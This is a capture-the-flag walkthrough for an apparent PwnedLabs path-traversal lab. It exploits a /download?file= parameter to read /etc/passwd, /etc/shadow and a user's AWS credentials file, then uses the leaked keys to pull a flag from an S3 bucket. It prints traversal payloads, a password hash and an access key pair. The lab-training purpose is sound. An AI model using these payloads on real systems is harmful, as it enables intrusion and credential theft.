PATH TRAVERSAL

PWNEDLABS.IO

We are given an IP to start, so, as always, we begin with some `nmap` enumeration.

Enumeration

```
$nmap -sCV -A -p- 13.50.73.5 --min-rate 6000 -oN pathTraversal -Pn
```

We get an open `Port 80`, so we navigate to the website in our browser.

While we click around on the website, we will start a directory scan in the background with `gobuster`:

```
$gobuster dir -u http://13.50.73.5 -w /home/user/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --no-error -t 100
```

As that's scanning for directories, back on the web page, we can see it's very limited. If we check the source code for the site by pressing `Ctrl + U`, we can see that the page is pulling from an `s3` bucket, called `huge-logistics-bucket` located in the `eu-north-1` region. Navigating to `https://huge-logistics-bucket.s3.eu-north-1.amazonaws.com` in our browser, we are hit with an Access Denied message. Alternatively, we can check the contents of the bucket using the `aws cli`:

```
$aws s3 ls s3://huge-logistics-bucket
```

And we get the same Access Denied message. Boo-urns.

Back at our `gobuster` search we got a few hits:

```
/download (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 2483]
/news (Status: 500) [Size: 62]
/profile (Status: 302) [Size: 199] [--> /login]
/signup (Status: 200) [Size: 2500]
```
`

Returning to the page, we can sign up for a user account, so we shall. This takes us to an endpoint `/invoices` where we see a list of addresses, container IDs and various other information. Basically useless. However, a little lower on the page we see a button `Export to CSV`. Download yourself a CSV file.

Directory Traversal

Go to your downloads folder in the browser and copy the download link. It'll be something like this:

`http://13.50.73.5/download?file=pfist_BJvHs.csv`

So we can see that exporting to CSV makes a `GET` request to the `/download?file=XXXX` parameter, retrieving the file from the server. Can we abuse the `XXXX` portion to download more files? Well...

There are two ways to go about this. Either directly in the browser or with BurpSuite. I'll go over both.

Browser Exploit

Copy up until `http://13.50.73.5/download?file=` and open a different tab in the browser. Paste the prefix and start to add some `../../` after the =. We don't know if this is tied to a Linux or a Windows `ec2` instance yet, so we will try to get some basic files from both operating systems and see what sticks. Lots of things run on Linux, so let's start there:

`http://13.50.73.5/download?file=../../../../etc/passwd`

And we are greeted by a download box. So we learned two things right away:

1. It's hosted on Linux
2. It's vulnerable to path traversal and does no filtering on our requests.

Change `passwd` for `shadow`, just to be thorough. Hit enter and ooh la-la. We can download the shadow file. In Linux systems, the `/etc/shadow` has a list of users and their associated password hashes, usually only accessible by `root` or other privileged users.

Reading them both:

```
$cat passwd
....snip....
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
nedf:x:1001:1001::/home/nedf:/bin/bash
```

We have two users on the system, `ec2-user` and `nedf`.

```
$cat shadow
....snap....
ec2-user:!!:19522:0:99999:7:::
```

nedf:cF8qvHHoH9sHD7V9$R.1pPDd2sOjOtXN56uoC/fLn/U1N2RZLNLIBes26ZfuXYJjBkIHWul QWbFs8t2LQe5.92lEZIrX18GXpcJe/w1:19522:0:99999:7:::`

Copy the hash for `nedf` into a separate file so we can try to crack it in the background with `john the ripper` and the `rockyou.txt` wordlist while we try to plunder more files.

We will look for AWS specific files now:

```
http://13.50.73.5/download?file=../../../../home/ec2-user/.aws/credentials
```

We get the error:

```
{"error":{"message":["2","No such file or
directory"],"type":"FileNotFoundError"}}
```

Ok, so `ec2-user` doesn't have an `.aws` folder or at the least, a `credentials` log.

What about `nedf`?

```
http://13.50.73.5/download?file=../../../../home/nedf/.aws/credentials
```

Of course he does. Save it and read it:

```
$cat creds
[default]
aws_access_key_id = AKIATWVWNKAVEUUNAYO6
aws_secret_access_key = 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
```

Now using `aws configure`, log in. Keep in mind you may have to change the region to `eu-north-1`. Then as always, we use `aws sts get-caller-identity` to confirm the takeover:

```
$aws sts get-caller-identity
{
"UserId": "AIDATWVWNKAVDYBJBNBFC",
"Account": "254859366442",
"Arn": "arn:aws:iam::254859366442:user/nedf"
}
```

Going all the way back to the beginning, now that we have a valid user, we can try to interact with the `huge-logistics-bucket` s3 bucket.

```
$aws s3 ls s3://huge-logistics-bucket
PRE static/
2023-06-28 16:21:50 32 flag.txt
```

Bingo. We download the flag like this:

```
$aws s3 cp s3://huge-logistics-bucket/flag.txt .
download: s3://huge-logistics-bucket/flag.txt to ./flag.txt
```

Burp Suite

To use `Burp Suite` instead of the browser:

Open `Burp Suite` and turn on your proxy in the browser. Intercept the download request we get from the `Export as CSV` button.

In Burp, right click the request and `Send to Intruder`.

```
GET /download?file=XXXXXX
```

Highlight the `XXXXXXX` and click `Add $` and it will become:

```
GET /download?file=$XXXXXX$
```

Now, on the right you need to load a list of payloads. This one will do fine for our purposes. Click `Start Attack` after loading the payloads and you'll immediately get a hit for `../../../../etc/passwd`, but URL encoded. You can tell by the abnormally long `Length` response. Click that result and under `Response`, you're gifted the `/etc/passwd` file. Right click again and then `Send to Repeater`. In `Repeater` tab, swap `passwd` for `shadow` :

```
GET download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fshadow
```

Hit send, and you're given the `shadow` file.

I'm going to skip the `ec2-user` failures for the sake of time, so we will jump right ahead to getting `nedf` credentials. Change our `GET` request accordingly:

```
GET download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fhome%2fnedf%2f.aws%2fcredentials
```

Hit send again and on the `Response` side:

```
HTTP/1.1 200 OK
Content-Disposition: inline; filename=credentials
Content-Type: application/octet-stream
Content-Length: 116
Last-Modified: Wed, 14 Jun 2023 18:13:45 GMT
Cache-Control: no-cache
ETag: "1686766425.6516593-116-2613908611"
Date: Mon, 09 Feb 2026 16:57:54 GMT
Vary: Cookie
```

```
[default]
aws_access_key_id = AKIATWVWNKAVEUUNAY06
aws_secret_access_key = EuEQvgS68SmMX3ldbBPHNjIjFg1L1MRJ7RDR2YJ+
```

Now we can log in as `nedf` and carry on to the flag like previously mentioned.